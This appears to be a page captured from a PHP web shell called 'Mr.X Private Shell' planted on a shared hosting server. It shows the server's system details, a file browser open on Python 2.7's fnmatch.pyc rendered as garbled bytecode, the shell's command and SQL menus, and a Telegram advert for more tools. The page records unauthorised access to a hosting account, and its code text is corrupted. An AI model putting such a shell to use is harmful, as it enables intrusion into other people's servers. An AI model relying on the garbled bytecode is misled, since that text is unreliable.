Uname: Linux premium228.web-hosting.com 4.18.0-553.144.1.lve.el8.x86_64 #1 SMP Thu Jul 16 08:31:06 UTC 2026 x86_64
User: 2036 (delhdchz)
Group: 2038 (delhdchz)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//lib64///python2.7      ( Reset | Go to )
File Name: fnmatch.pyc

zfc@sadZddlZddddgZiZdZdZd    Zd
Zd Zd Z    dS( sFilename matching with shell patterns.

fnmatch(FILENAME, PATTERN) matches according to the local convention.
fnmatchcase(FILENAME, PATTERN) always takes case in account.

The functions operate by translating the pattern into a regular
expression.  They cache the compiled regular expressions for speed.

The function translate(PATTERN) returns a regular expression
corresponding to PATTERN.  (It does not compile it.)
iNtfiltertfnmatcht fnmatchcaset    translateidcCstjdS(sClear the pattern cacheN(t_cachetclear(((s/usr/lib64/python2.7/fnmatch.pyt_purgescCs=ddl}|jj|}|jj|}t||S(sTest whether FILENAME matches PATTERN.

    Patterns are Unix shell style:

    *       matches everything
    ?       matches any single character
    [seq]   matches any character in seq
    [!seq]  matches any char not in seq

    An initial period in FILENAME is not special.
    Both FILENAME and PATTERN are first case-normalized
    if the operating system requires it.
    If you don't want this, use fnmatchcase(FILENAME, PATTERN).
    iN(tostpathtnormcaseR(tnametpatR((s/usr/lib64/python2.7/fnmatch.pyRs c    Csddl}ddl}g}|jj|}yt|}WnStk
rt|}tttkrytj    nt
j |t|<}nX|j }|j|krxf|D]"}||r|j |qqWn9x6|D].}||jj|r|j |qqW|S(s2Return the subset of the list NAMES that match PATiN(Rt    posixpathRR    RtKeyErrorRtlent    _MAXCACHERtretcompiletmatchtappend(    tnamesR RR tresulttre_pattresRR
((s/usr/lib64/python2.7/fnmatch.pyR-s&          cCswyt|}WnStk
rct|}tttkrItjntj|t|<}nX|j|dk    S(sTest whether FILENAME matches PATTERN, including case.

    This is a version of fnmatch() which doesn't case-normalize
    its arguments.
    N(
RR RRRRRRRtNone(R
R RR((s/usr/lib64/python2.7/fnmatch.pyREs   cCsdt|}}d}x||kr||}|d}|dkrU|d}q|dkrn|d}q|dkr|}||kr||d    kr|d}n||kr||d
kr|d}nx*||kr||d
kr|d}qW||kr|d }q|||!jd d }|d}|dd    kr\d|d}n|ddkryd |}nd||f}q|tj|}qW|dS(sfTranslate a shell PATTERN to a regular expression.

    There is no way to quote meta-characters.
    itit*s.*t?t.t[t!t]s\[s\s\\t^s%s[%s]s\Z(?ms)(RtreplaceRtescape(R titnRtctjtstuff((s/usr/lib64/python2.7/fnmatch.pyRUs8

         
 (
t__doc__Rt__all__RRRRRRR(((s/usr/lib64/python2.7/fnmatch.pyt<module> s                 

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL